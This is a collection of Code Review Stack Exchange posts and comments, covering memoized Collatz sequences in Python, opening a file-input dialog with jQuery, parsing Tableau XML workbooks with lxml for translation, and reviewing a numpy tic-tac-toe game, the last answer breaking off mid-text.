[ { "body": "<p>I am self learning Python and am not so experienced as you are. So I actually have a couple of questions on your code. Mainly, I want to know why have you built such a complex logic for such a simple problem? TBH, I am not even sure if I understand fully what your code is doing. Below I have pasted my code, and it gives the right answer (2091 steps) in 0.0005s, which is small enough I guess. Are you trying to run it in lesser time duration than that, and hence the complicated logic?</p>\n\n<pre><code>def collatz(n):\n steps = 0\n while n != 1:\n if n % 2 == 0:\n n = n // 2\n else:\n n = (n * 3) + 1\n steps += 1\n\n print(steps)\n</code></pre>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T12:55:01.757", "Id": "452343", "Score": "0", "body": "in quick and dirty (manual) timing: If I run [collatz(n) for n in range(1, 1000000)] for mine, it's done in 20 seconds, while with your's it's about 28 seconds. And that's still considering mine needs to generate a full list for every sequence while yours doesn't bother with that. But the idea was mostly about reviewing my actual code, and pointing out which parts of my code suck ;)" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T14:58:38.510", "Id": "452702", "Score": "1", "body": "The \"complex logic\" saves you from recalculating each step if it had be ccukated previously. That can save, at best, calls to `%`, which may be faster. Memorization/caching is useful when you need to carry out an expensive operation over and over, and can expect results to repeat themselves." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T15:36:50.547", "Id": "452704", "Score": "0", "body": "thanks @Carcigenicate, this is what I was looking for." } ], "meta_data": { "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T12:40:38.097", "Id": "231834", "ParentId": "231830", "Score": "1" } }, { "body": "<p>I think the handling of the cache could be improved. You add to the cache in <code>_calc</code>, then check the cache in <code>collatz</code>. Why not just let <code>_calc</code> handle the cache? That way <code>collatz</code> doesn't need to know anything about how <code>_calc</code> is getting its results. I'd change it to something like:</p>\n\n<pre><code>def _calc2(number: int) -&gt; int:\n if number in collatz_cache: # Let it do the lookup\n return collatz_cache[number]\n\n if number % 2 == 0:\n next_number = number // 2\n else:\n next_number = number * 3 + 1\n\n collatz_cache[number] = next_number\n return next_number\n\ndef collatz2(number: int) -&gt; List[int]:\n if number &lt; 1:\n raise ValueError(f\"Collatz sequence not defined for {type(number).__name__}({number})\")\n\n results = [number]\n\n new_number = number\n while new_number != 1:\n new_number = _calc2(new_number)\n results.append(new_number)\n\n return results\n</code></pre>\n\n<p>I also don't think <code>collatz</code> really needs to do an <code>isinstance</code> check on <code>number</code>. You've said via type-hints that it only accepts integers. If you're going to go down that road, arguably every function should check what it's arguments are. I suppose protecting against a <code>float</code> being passed may be worth it since that will silently mess with the results, but you can only hand-hold the user so much.</p>\n\n<p>I'll note though that your manual memoization isn't necessary. <a href=\"https://docs.python.org/3/library/functools.html#functools.lru_cache\" rel=\"nofollow noreferrer\"><code>functools</code> has a decorator for this</a>:</p>\n\n<pre><code>from functools import lru_cache\n\n@lru_cache(maxsize=int(1e6)) # This could probably be smaller\ndef _calc3(number: int) -&gt; int:\n if number % 2 == 0:\n next_number = number // 2\n else:\n next_number = number * 3 + 1\n\n return next_number\n</code></pre>\n\n<p>Using a dirty <code>timeit</code> timing using seeded random numbers, I found that all three versions perform nearly identically for me:</p>\n\n<pre><code>from timeit import timeit\nfrom random import randint, seed\n\ntimeit(lambda: collatz(randint(5, 100)),\n setup=lambda: seed(12345),\n number=int(1e6))\n\n# All take between 7 seconds for me\n</code></pre>\n\n<p>I used random numbers so the cache is actually getting fully tested instead of just returning the same numbers over and over. The random numbers are <code>seed</code>ed, so the results should be reliable.</p>\n\n<p>I'll note, you could also write your own bare-bones <code>memoize</code> decorator as well:</p>\n\n<pre><code>def memoize(f):\n cache = {}\n\n def wrapper(*args):\n if args in cache:\n return cache[args]\n\n else:\n result = f(*args)\n cache[args] = result\n return result\n\n return wrapper\n\n@memoize\ndef tester(n, m):\n print(\"Called with\", n, m)\n return n + m\n\n&gt;&gt;&gt;&gt; tester(1, 3)\nCalled with 1 3\n4\n\n&gt;&gt;&gt; tester(1, 3)\n4\n</code></pre>\n\n<hr>\n\n<p>I'll note too though, this could be made into a generator if you wanted to generalize it:</p>\n\n<pre><code>from typing import Generator\n\ndef collatz3(number: int) -&gt; Generator[int, None, None]:\n yield number # To be consistent with the other functions\n\n new_number = number\n while new_number != 1:\n new_number = _calc3(new_number)\n yield new_number\n</code></pre>\n\n<p>This may prove to be more memory efficient for longer sequences, depending on how it's used. Now the whole sequence isn't required to be held in memory all at once.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T18:06:18.373", "Id": "452405", "Score": "0", "body": "Looks good. that's the sort of caching I was looking for, I guess. I stared at the code for 3 hours without finding a neat way to decorator-cache it like that. I'm letting others have a bit of a shot till sometime tomorrow, but unless I get a good one you're gonna be accepted." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T18:22:12.450", "Id": "452409", "Score": "0", "body": "@Gloweye I'm not sure where you got to while implementing your own decorator, but I added a minimal reference-implementation in case you wanted to see how it could be written. Far from perfect, but it gets the job done." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T18:41:29.017", "Id": "452416", "Score": "0", "body": "Nah, more like that I never found a nice way to factor it into a function to decorate. Probably stared myself blind on the code." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T14:46:07.910", "Id": "452698", "Score": "0", "body": "This is all true, but you don't use the fact that once you hit the cache, you know for sure all the subsequent values will also be in the cache." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T14:53:49.530", "Id": "452699", "Score": "0", "body": "@OneLyner That's true. All that really saves is a `in` check and potentially a function call, and I'd be hesitant to complicate code before `in` was found to be a problem." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-06T14:57:08.390", "Id": "452701", "Score": "1", "body": "@OneLyner Although I suppose looking over your version, it isn't any more complicated, just moved around." } ], "meta_data": { "CommentCount": "6", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T17:14:26.790", "Id": "231843", "ParentId": "231830", "Score": "5" } }, { "body": "<p>I agree with @Carcigenicate that splitting the cache responsibility between two functions is not a good idea. But contrary to him, I would make the main collatz function handle it, because it has the specific knowledge that once you hit the cache, you know the rest of the sequence will also be in there.</p>\n\n<p>Here is an implementation.</p>\n\n<pre><code>from typing import List\n\n_cache = { 1: None }\n\ndef _next(i: int) -&gt; int:\n \"\"\"\n Returns the next element in the Collatz sequence\n \"\"\"\n if i % 2:\n return 3 * i + 1\n else:\n return i // 2\n\ndef collatz(i: int) -&gt; List[int]:\n \"\"\"\n Returns the collatz sequence of a number.\n :param number: Integer &gt; 0\n :return: Collatz sequence starting with number\n \"\"\"\n r=[] \n while i not in _cache: \n r.append(i) \n n = _next(i) \n _cache[i] = n \n i = n\n while i: \n r.append(i) \n i = _cache[i] \n return r\n</code></pre>\n\n<p>This makes this version a bit faster for me.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T16:20:47.997", "Id": "231902", "ParentId": "231830", "Score": "3" } } ]
{ "AcceptedAnswerId": "231843", "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T11:18:01.743", "Id": "231830", "Score": "4", "Tags": [ "python", "python-3.x", "collatz-sequence" ], "Title": "Calculating a Collatz Sequence" }
231830
<p><strong>How to open an input file programmatically (javascript) in a reliably way?</strong></p> <p>The most modern versions of internet browsers prevent the opening of input files programmatically (javascript) under certain circumstances. For this reason I opened this thread to define a way to open input files so that we have no problems - or at least mitigate that risk - in future versions of internet browsers.</p> <hr> <p><strong>PLUS:</strong></p> <p><strong>Some statements made in foruns (see references):</strong></p> <p>1</p> <blockquote> <p>Yes, you can programmatically click the input element using jQuery (JavaScript), but only if you do it in an event handler belonging to an event THAT WAS STARTED BY THE USER.</p> </blockquote> <p>2</p> <blockquote> <p>The function must be part of a user activation such as a click event. Attempting to open the file dialog without user activation will fail.</p> </blockquote> <p><strong>A little example (for illustration only):</strong></p> <p>Notice the comments in the code.</p> <p>Apparently the safest way to open an input file is create this element dynamically.</p> <p>We also have the approach using <code>.trigger("click")</code> (worked) and <code>.click()</code> (did not work). I couldn't understand why trigger worked and click didn't, because apparently they do the same thing.</p> <p><strong>IMPORTANT:</strong> For me there is no guarantee that the "trigger" solution will continue to work in future versions of "Chrome" or even other "browsers" like "Firefox". That is why I think it is important to find a safe way to resolve this issue.</p> <pre class="lang-html prettyprint-override"><code> &lt;script type="text/javascript" src="jquery.js"&gt;&lt;/script&gt; &lt;script type="text/javascript"&gt; function openInputFile() { // APPROACH 1 - Didn't work for me ("Chrome"). $(JQ_TO_FIND_INPUT_FILE).click(); // APPROACH 2 - Worked for me ("Chrome"). $(JQ_TO_FIND_INPUT_FILE).trigger("click"); // APPROACH 3 - Worked for me ("Chrome"). var inputFile = $('&lt;input type="file"/&gt;'); $(JQ_TO_FIND_A).after(inputFile); inputFile.click(); } &lt;/script&gt; &lt;a href="#" onclick="openInputFile('theFile');"&gt;OPEN FILE DIALOG&lt;/a&gt; &lt;input type="file"/&gt; </code></pre> <p>[<strong>Refs.:</strong> <a href="https://stackoverflow.com/a/43174934/3223785">https://stackoverflow.com/a/43174934/3223785</a> , <a href="https://stackoverflow.com/a/21583865/3223785">https://stackoverflow.com/a/21583865/3223785</a> , <a href="https://mariusschulz.com/blog/programmatically-opening-a-file-dialog-with-javascript" rel="nofollow noreferrer">https://mariusschulz.com/blog/programmatically-opening-a-file-dialog-with-javascript</a> , <a href="https://www.freecodecamp.org/forum/t/jquery-trigger-click-event-not-the-same-as-a-real-click/170745/3" rel="nofollow noreferrer">https://www.freecodecamp.org/forum/t/jquery-trigger-click-event-not-the-same-as-a-real-click/170745/3</a> ]</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T14:39:43.830", "Id": "452357", "Score": "4", "body": "Greetings, this question is not a good fit for CodeReview as you are not asking for a code review. I am pretty sure this will get closed as off topic." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T17:02:39.260", "Id": "452390", "Score": "1", "body": "Why use jQuery and all its excessive overheads when input elements have native click method `document.querySelector(\"input\").click();`" } ]
[]
{ "AcceptedAnswerId": null, "CommentCount": "2", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T14:01:14.187", "Id": "231836", "Score": "1", "Tags": [ "javascript", "jquery", "html", "html5" ], "Title": "How to open an input file programmatically (javascript) in a reliably way?" }
231836
<p>I begun to work for a company which do not have enough time to practice code review. As a beginner programmer I would like to improve my skills on real working cases. I have been asked to facilitate translations on "tableau workbook" files (those are just XML files) by replacing french text with English one.</p> <p>I work in 4 steps (so I wrote 4 files which can be run independently):</p> <ol> <li>Load textual field from ".twb" file to dump them in database</li> <li>Load textual field from database and write them in an excel worksheet to be translated by the "language technical team"</li> <li>Dump the translated field in Database</li> <li>Write a new ".twb" file based on the field which have been translated.</li> </ol> <p>Most of my work lay on retrieving interesting field from .twb file (XML file). So I wrote a helper file which have function to retrieve/get the interesting nodes and other function that update nodes in the XML file (the XML file can be viewed as a tree with nodes). Here is an extract of my helper file to give you an idea of what I try to accomplish. </p> <p>I suppose that my design is awful and would be pleased if you could give me some advice (OO design, etc...) or any recommendation (books, ...) to help me improve my design skill.</p> <pre><code>from lxml import etree import os from copy import deepcopy from collections import namedtuple from ast import literal_eval import re ####### Variable globales ###### textual_node = namedtuple('textual_node', ['id', 'label', 'type']) stop_words = ['&lt;', '&gt;', 'Æ', '', '\n', ':', '()'] ####### Parsing xml ####### def get_root_tree(file_source): tree = etree.parse(file_source) root = tree.getroot() return tree, root ####### Utilities ######### def get_parent(node,depth): """ Retrieve ancestor node """ ancestor_node = node for i in range(depth): ancestor_node=ancestor_node.getparent() return ancestor_node def get_brute_path(root,tree,xpath): brute_paths = [] paths = [] for node in root.xpath(xpath): path = tree.getpath(node) brute_path = clean_path(path) if not (brute_path in brute_paths): paths.append(path) brute_paths.append(brute_path) return brute_paths,paths def clean_path(path): split_path = [elt.split('[')[0] for elt in path.split('/')] brute_path = '/'.join(split_path) return brute_path def get_ws_name(root, tree): """ Mapping between worksheet's name and worksheet's number in the xml file""" d_wsname = {} d_inv_wsname = {} for node in root.xpath('worksheets/worksheet[@name]'): ws_id = tree.getpath(node).split('/')[-1] ws_name = node.get('name') d_wsname[ws_id] = ws_name d_inv_wsname[ws_name] = ws_id return d_wsname, d_inv_wsname ####### Get nodes of interest ######### def get_alias(root): """ Get the aliases nodes """ s_alias = set() xpath = "/workbook/datasources/datasource/column/aliases/alias" for node in root.xpath(xpath): ds_node = get_parent(node,3) ds_id = ds_node.attrib['name'] col_node = get_parent(node,2) col_id = col_node.attrib['name'] alias_id = node.attrib['key'] node_id = (ds_id,col_id,alias_id) node_text = node.attrib['value'] node_type = 'alias' alias_node = textual_node(node_id, node_text, node_type) s_alias.add(alias_node) return s_alias def get_member(root): """ Get the member nodes""" s_member = set() xpath = "/workbook/datasources/datasource/column/members/member[@alias]" for node in root.xpath(xpath): ds_node = get_parent(node,3) ds_id = ds_node.attrib['name'] col_node = get_parent(node, 2) col_id = col_node.attrib['name'] member_id = node.attrib['value'] node_id = (ds_id, col_id, member_id) node_text = node.attrib['alias'] node_type = 'member' member_node = textual_node(node_id, node_text, node_type) s_member.add(member_node) return s_member def get_title_format(tree,root): """ Get the title text""" s = set() xpath = '//format[@attr="title"][@value]' for node in root.xpath(xpath): ws_id = get_parent(node, 4).attrib['name'] fm_id = node.attrib['field'] node_id = (ws_id, fm_id) node_text = node.get('value') node_type = 'title_'+node.tag title_format_node = textual_node(node_id, node_text, node_type) s.add(title_format_node) return s def get_formatted_format(tree,root): """ Get the formatted text """ raw = r"(?P&lt;type&gt;^.)(?:\"(?P&lt;prefix&gt;[^\"]*)\"){0,1}(?P&lt;format&gt;[^\"]*)(?:\"(?P&lt;suffix&gt;[^\"]*)\"){0,1};(?P&lt;negformat&gt;.)(?:\"(?P=prefix)\"){0,1}(?P=format)(?:\"(?P=suffix)\"){0,1}" pattern = re.compile(raw) s_format = set() xpath = '//format[@attr="text-format"]' # xpath = "/workbook/worksheets//table/style/style-rule/format[@field][@attr='text-format']" for node in root.xpath(xpath): fm_text = node.attrib['value'] matches = pattern.search(fm_text) if matches: ws_id = get_parent(node,4).attrib['name'] fm_id = node.attrib['field'] node_id = (ws_id,fm_id) match_dic = matches.groupdict() node_prefix,node_suffix = match_dic['prefix'], match_dic['suffix'] if node_prefix: if node_prefix.strip()!='€': node_type = "{}_prefix".format(node.tag) format_prefix_node = textual_node(node_id, node_prefix, node_type) s_format.add(format_prefix_node) if node_suffix: if node_suffix.strip() != '€': node_type = "{}_suffix".format(node.tag) format_suffix_node = textual_node(node_id, node_suffix, node_type) s_format.add(format_suffix_node) return s_format def get_caption(root): """ Get the column names (original and calculated ones)""" s_caption = set() for node in root.xpath('/workbook/datasources/datasource/column[@caption]'): node_id = node.get('name') node_text = node.get('caption') node_type = node.tag caption_node = textual_node(node_id, node_text, node_type) s_caption.add(caption_node) return s_caption def get_tooltip_label(root, tree, d_wsname): """" Get the tooltip and label """ s_tooltip_label = set() nodes_type = ['customized-tooltip','customized-label'] for node_type in nodes_type: ancestor_path = '//worksheets/*/table/panes/pane/{node_type}/formatted-text/run/ancestor::pane'.format(node_type=node_type) for ancestor in root.xpath(ancestor_path): try: pane_id = ancestor.attrib["id"] except: pane_id='' finally: run_path="{node_type}/formatted-text/run".format(node_type=node_type) for node in ancestor.xpath(run_path): if not any(substring == node.text.strip() for substring in stop_words): # 'Æ', '&lt;[' ws_id = tree.getpath(node).split('/')[3] ws_name = d_wsname[ws_id] run_index = tree.getpath(node)[-2:-1] node_id = (ws_name,pane_id,run_index) node_text = node.text node_type = tree.getpath(node).split('/')[-3] tooltip_label_node = textual_node(node_id, node_text, node_type) s_tooltip_label.add(tooltip_label_node) return s_tooltip_label def get_zone(root,tree): """ Get the textual zones """ s_zone = set() xpath_run = "/workbook/dashboards/dashboard/zones//zone/formatted-text/run" for run_node in root.xpath(xpath_run): if not any(substring == run_node.text.strip() for substring in stop_words): previous_zone_node = get_parent(run_node,2) pane_id = previous_zone_node.attrib['id'] run_index = tree.getpath(run_node)[-2:-1] node_id = (pane_id,run_index) node_text = run_node.text node_type = tree.getpath(run_node).split('/')[-3].split('[')[0] zone_node = textual_node(node_id,node_text,node_type) s_zone.add(zone_node) return s_zone def get_node_info(tree,node): info = " tree.getpath(node): {path} \n node.items(): {attr} \n node.text: {text}".format(path=tree.getpath(node),attr=node.items(),text=node.text) print(info) def get_ancestor_by_name(root,tree,node,namefield): path = tree.getpath(node) brute_path = clean_path(path) hier = brute_path.split('/')[1:] for i,elt in enumerate(hier): if namefield==elt: return get_parent(node,len(hier)-i-1) return False ############### Update Nodes ############################# def update_wblocal(root,lang): dic_lang = {'FR':'fr_FR','EN':'en_GB','ES':'es_ES'} root.attrib['locale'] = dic_lang[lang] return root def update_nodes(df, root): root_trad = deepcopy(root) tree_trad = etree.ElementTree(root_trad) d_wsname, d_inv_wsname = get_ws_name(root_trad, tree_trad) d_func = {"customized-tooltip": update_customized_node, "customized-label": update_customized_node, "column": update_caption_node,"zone":update_zone_node,"alias":update_alias_node, "member":update_member_node,"format_prefix":update_format_node,"format_suffix":update_format_node, "title_format":update_title_format_node} d_args = {"customized-tooltip": (d_inv_wsname, root_trad, tree_trad), "customized-label": (d_inv_wsname, root_trad, tree_trad), "column": (root_trad, tree_trad) ,"zone":(root_trad, tree_trad),"alias":(root_trad,tree_trad), "member":(root_trad,tree_trad),"format_suffix":(root_trad,tree_trad),"format_prefix":(root_trad,tree_trad), "title_format":(root_trad,tree_trad)} for index, row in df.iterrows(): node_type = row['node_type'] d_func[node_type](row,*d_args[node_type]) return root_trad, tree_trad def update_title_format_node(row,root,tree): """ Get the title text""" xpath = '//format[@attr="title"][@value]' brute_paths, _ = get_brute_path(root, tree, xpath) node_id = literal_eval(row['node_id']) ws_id, fm_id = node_id dic = {'worksheet': ('name', ws_id), 'format': ('field', fm_id)} for brute_path in brute_paths: nodes = iterpath(root,tree,brute_path,dic) for node in nodes: print("Avant title_format: ", node.attrib['value']) node.attrib['value'] = row.to_replace print("Après title_format:", node.attrib['value']) return root, tree def update_format_node(row,root,tree): node_id = literal_eval(row['node_id']) raw = r"(?P&lt;type&gt;^.)(?:\"(?P&lt;prefix&gt;[^\"]*)\"){0,1}(?P&lt;format&gt;[^\"]*)(?:\"(?P&lt;suffix&gt;[^\"]*)\"){0,1};(?P&lt;negformat&gt;.)(?:\"(?P=prefix)\"){0,1}(?P=format)(?:\"(?P=suffix)\"){0,1}" pattern = re.compile(raw) xpath = '//format[@attr="text-format"][@field]' # xpath = "/workbook/worksheets//table/style/style-rule/format[@field][@attr='text-format']" brute_paths,_ = get_brute_path(root,tree,xpath) ws_id,fm_id = node_id dic = {'worksheet':('name',ws_id),'format':('field',fm_id)} for brute_path in brute_paths: nodes = iterpath(root,tree,brute_path,dic) for node in nodes: node_text = node.attrib['value'] print("Avant format: ", node_text) dic = pattern.search(node_text).groupdict() dic_pattern = {'format_prefix':dic['prefix'],'format_suffix':dic['suffix']} pattern = dic_pattern[row.node_type] new_text = node_text.replace(pattern,row.to_replace) node.attrib['value'] = new_text print("Après format:", node.attrib['value']) return root,tree def update_alias_node(row,root,tree): node_id = literal_eval(row['node_id']) ds_id, col_id,alias_id = node_id xpath = "//alias" brute_paths,_ = get_brute_path(root,tree,xpath) dic = {'datasource':('name',ds_id),'datasource-dependencies':('datasource',ds_id),\ 'column':('name',col_id),'alias':('key',alias_id)} for brute_path in brute_paths: nodes = iterpath(root,tree,brute_path,dic) for node in nodes: print("Avant alias: ", node.attrib['value']) node.attrib['value'] = row.to_replace print("Après Alias:", node.attrib['value']) return root,tree def iterpath(node,tree,rightpath,dic,nodes=None): """ This recursive algorithm traverse the tree till the last element of the specified path (from top to bottom) looking if (key,value) pair of nodes match with dictionary """ if nodes == None: nodes =[] node_tag = node.tag if len(rightpath.split('/'))&gt;1: _, rightpath = rightpath.split("{}/".format(node_tag)) if rightpath: next_tag,*_ = rightpath.split('/') xpath = "{}/{}".format(tree.getpath(node),next_tag) if node_tag in dic.keys(): key, value = dic[node_tag] if node.attrib[key] != value: return False for child_node in node.xpath(xpath): iterpath(child_node, tree, rightpath, dic,nodes) else: #last node of the original specified path (fisrt call to the function) key, key_id = dic[node_tag] try: if node.attrib[key] == key_id: nodes.append(node) except KeyError: print("KeyError:",node.items()) return nodes def update_caption_node(row, root_trad, tree_trad): node_id = row['node_id'] xpath_request = '//*[@name="{name}"][@caption]'.format(name=node_id) for node in root_trad.xpath(xpath_request): try: print("Avant caption:", node.get('caption')) node.attrib["caption"] = row[-1] print("Après caption:", node.get('caption')) except Exception as e: print("Exception",e) return root_trad, tree_trad def update_customized_node(row, d_inv_wsname, root_trad, tree_trad): """ Se sert de la dernière colonne du dataframe, comme colonne de remplacement (à améliorer)""" node_type = row['node_type'] node_id = literal_eval(row['node_id']) wsname = node_id[0] pane_id = node_id[1] run_index = node_id[2] ws = d_inv_wsname[wsname] if pane_id: xpath_pane = '//worksheets/{worksheet}/table/panes/pane[@id={pane_id}]'.format(worksheet=ws,pane_id=pane_id) else: xpath_pane = '//worksheets/{worksheet}/table/panes/pane'.format(worksheet=ws) if run_index != 'u': xpath_run = '//{node_type}/formatted-text/run[{run_index}]'.format(node_type=node_type,run_index=run_index) elif run_index == 'u': xpath_run = '//{node_type}/formatted-text/run'.format(node_type=node_type) for run_node in root_trad.xpath(xpath_pane+xpath_run): try: print('Avant run:', run_node.text) run_node.text = row[-1] print('Après run:', run_node.text) except Exception as e: print("&gt;",repr(e)) return root_trad, tree_trad def update_zone_node(row, root_trad, tree_trad): node_id = literal_eval(row['node_id']) zone_id = node_id[0] run_index = node_id[1] if run_index != 'u': xpath_run = '/workbook/dashboards/dashboard/zones//zone[@id={zone_id}]/formatted-text/run[{run_index}]'.format(zone_id=zone_id,run_index=run_index) elif run_index == 'u': xpath_run = '/workbook/dashboards/dashboard/zones//zone[@id={zone_id}]/formatted-text/run'.format(zone_id=zone_id) for run_node in root_trad.xpath(xpath_run): try: print('Avant run:', run_node.text) run_node.text = row[-1] print('Après run:', run_node.text) except Exception as e: print("&gt;", repr(e)) return root_trad, tree_trad def update_member_node(row, root, tree): node_id = literal_eval(row['node_id']) ds_id, col_id,member_id = node_id xpath = "//member" brute_paths,_ = get_brute_path(root,tree,xpath) dic = {'datasource':('name',ds_id),'column':('name',col_id),'member':('value',member_id)} for brute_path in brute_paths: nodes = iterpath(root,tree,brute_path,dic) for node in nodes: print("Avant member: ", node.attrib['alias']) node.attrib['alias'] = row.to_replace print("Après member:", node.attrib['alias']) return root,tree # Write to file def replace_apostroph(filepath): filepath2 = filepath.split('.twb')[0]+'2.twb' with open(filepath) as fp_in: with open(filepath2,'w') as fp_out: for line in fp_in: fp_out.write(line.replace("'", '&amp;apos;').replace('"', "'").replace('/&gt;',' /&gt;')) def rootToXml(view_name,output_dir, language_target, tree_trad): twb_output = '{view}_{languageTarget}.twb'.format(view=view_name, languageTarget=language_target) # tree_trad = etree.ElementTree(root_trad) filepath = os.path.join(output_dir, twb_output) tree_trad.write(filepath,encoding ='utf-8', pretty_print=True) #replace_apostroph(filepath) print("Writed to {filepath}".format(filepath=filepath)) </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T15:19:51.147", "Id": "452364", "Score": "4", "body": "Your question title should be reworked to [state what your code is trying to accomplish](/help/how-to-ask). This will make your question more interesting to reviewers than the current generic title." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T15:35:47.850", "Id": "452366", "Score": "5", "body": "If this is work code, you might want to check with your management on if it is ok to post due to licensing issues." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T11:05:23.757", "Id": "452471", "Score": "0", "body": "Thanks for your reply. I changed the title. Concerning licensing, since this work is just an extract (very partial) in order to give an idea of the current design it won't raise any problem" } ]
[ { "body": "<p>In my opinion/experience and research on Python documentation, I suggest improving the following approaches:</p>\n\n<p><strong>First</strong>, <code>namedtuple</code> must be used with an uppercase name, like a class.</p>\n\n<pre><code>Textual_Node = namedtuple('Textual_Node', ['id', 'label', 'type'])\n</code></pre>\n\n<p>This helps determine the operation of creating a new data class object. <a href=\"https://docs.python.org/3/library/collections.html#collections.namedtuple\" rel=\"noreferrer\">namedtuple() Python doc</a></p>\n\n<p><strong>Second</strong>, try to combine all related to one data functions into classes.</p>\n\n<p>For example, all functions which use <code>root</code> in attrs can be combined to one, and after improvements uses self and them attr <code>root</code>. It can look like:</p>\n\n<pre><code>class ClassName():\n def __init__(self, root):\n self.root\n\n def get_caption(self):\n do_somethink_with_root(self.root)\n ...\n</code></pre>\n\n<p><strong>Third</strong>, take a one-line indent for individual blocks of related code.</p>\n\n<p><strong>Fourth</strong>, to save information about scripts execution use <a href=\"https://docs.python.org/3/library/logging.html\" rel=\"noreferrer\"><code>logging</code> module</a>.</p>\n\n<p>P.S.: <em>Please, try to use linters for your code. For example, it may be a <code>pylint</code> or <code>flake8</code> for making more pythonic code style and <code>Pydocstyle</code> will do more <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"noreferrer\">understandable code</a> and <a href=\"https://www.python.org/dev/peps/pep-0257/\" rel=\"noreferrer\">docstrings</a>. As <a href=\"https://github.com/google/styleguide/blob/gh-pages/pyguide.md\" rel=\"noreferrer\">asks Google for the Python code style</a>, use only English in the documentation lines.</em></p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-05T15:26:09.813", "Id": "231895", "ParentId": "231839", "Score": "6" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2019-11-04T15:14:25.920", "Id": "231839", "Score": "1", "Tags": [ "python", "python-3.x", "design-patterns", "lxml" ], "Title": "Parsing xml files, ideas to design my code" }
231839
<blockquote> <p>Follow-up from: <a href="https://codereview.stackexchange.com/questions/231718/back-to-basics-tic-tac-toe">Back to Basics - Tic Tac Toe</a></p> </blockquote> <p>Again, any optimizations and critique is welcome! I'm particularly interested if it involves <code>numpy</code>, <code>scipy</code> | bitwise operators.</p> <pre class="lang-py prettyprint-override"><code>import numpy as np from random import randint def print_board(board): print(""" +---+---+---+ c | {} {} {} | + + + + b | {} {} {} | + + + + a | {} {} {} | +---+---+---+ 1 2 3 """.format(*list(x if x != '0' else ' ' for x in board))) def check_for_win(board): def check_diagonal(dia): return '0' not in dia and len(set(dia)) == 1 a = np.array(board).reshape(3, 3) # check lr diagonal if check_diagonal(a.diagonal()): return True # check rl diagonal if check_diagonal(np.fliplr(a).diagonal()): return True # check rows &amp; cols for matr in (a, np.transpose(a)): for row in matr: if '0' not in row and len(set(row)) == 1: return True return False if __name__ == "__main__": board = ['0'] * 9 codes = ('c1', 'c2', 'c3', 'b1', 'b2', 'b3', 'a1', 'a2', 'a3') turn, user = 1, 'X' if bool(randint(0, 1)) else 'O' print(f'Welcome! First to play is {user}!') print_board(board) while True: print(f'Player {user}: ') code = input().strip().lower() if code in codes: idx = codes.index(code) if board[idx] == '0': board[idx] = user print_board(board) if turn &gt;= 5: if check_for_win(board): print(f'{user} won in {turn} turns! Congratulations!') break elif '0' not in board: print("Aw, it's a draw!") break user = 'X' if user == 'O' else 'O' turn = turn + 1 else: print('Woops! You need to pick an empty space.') else: print("Hmm, that's not a valid input.") </code></pre>
[]
[ { "body": "<p><strong>Ways to improve:</strong></p>\n\n<ul>\n<li><p>simplifying <em>list</em> construction:</p>\n\n<p><code>*list(x if x != '0' else ' ' for x in board))</code> --> <code>*[x if x != '0' else ' ' for x in board]</code></p></li>\n<li><p><code>check_diagonal</code> function. The function performs a logical check if the passed <em>row</em> is fully selected/marked with the same mark/code and returns <em>boolean</em> result respectively.<br>Therefore, it's better to give it a more meaningful and unified name, say <strong><code>row_crossed</code></strong> (reflecting boolean purpose):</p>\n\n<pre><code>def row_crossed(row):\n return '0' not in row and len(set(row)) == 1\n</code></pre>\n\n<p>Besides, renaming it will serve beneficially for the next improvements (see below)</p></li>\n<li><p>2 consecutive conditions:</p>\n\n<pre><code>if check_diagonal(a.diagonal()):\n return True\n\n# check rl diagonal\nif check_diagonal(np.fliplr(a).diagonal()):\n return True\n</code></pre>\n\n<p>return the same <em>boolean</em> result. That's a sign for <em>Consolidate conditional expression</em> technique.<br>Thus, the flow becomes:</p>\n\n<pre><code># check lr diagonal\nif row_crossed(a.diagonal()) or row_crossed(np.fliplr(a).diagonal()):\n return True\n</code></pre></li>\n<li><p>the <code>for</code> loop (in <code>check_for_win</code> function) which iterates through pair of matrices (initial and transposed one) duplicates the same logical check </p>\n\n<pre><code> ...\n if '0' not in row and len(set(row)) == 1:\n</code></pre>\n\n<p>as <strong><code>row_crossed</code></strong> (formerly <code>check_diagonal</code>) function does. Thus, replacing duplicated condition with function call.<br>Eventually, the restructured <code>check_for_win</code> function would look as below:</p>\n\n<pre><code>def check_for_win(board):\n def row_crossed(row):\n return '0' not in row and len(set(row)) == 1\n\n a = np.array(board).reshape(3, 3)\n\n # check lr diagonal\n if row_crossed(a.diagonal()) or row_crossed(np.fliplr(a).diagonal()):\n return True\n\n # check rows &amp; cols\n for matr in (a, a.transpose()):\n for row in matr:\n if row_crossed(row):\n return True\n\n return False\n</code></pre></li>\n</ul>\n\n<p>Actually, the above <em>Consolidation of conditionals</em> can be even more <em>encompassing</em> with applying <a 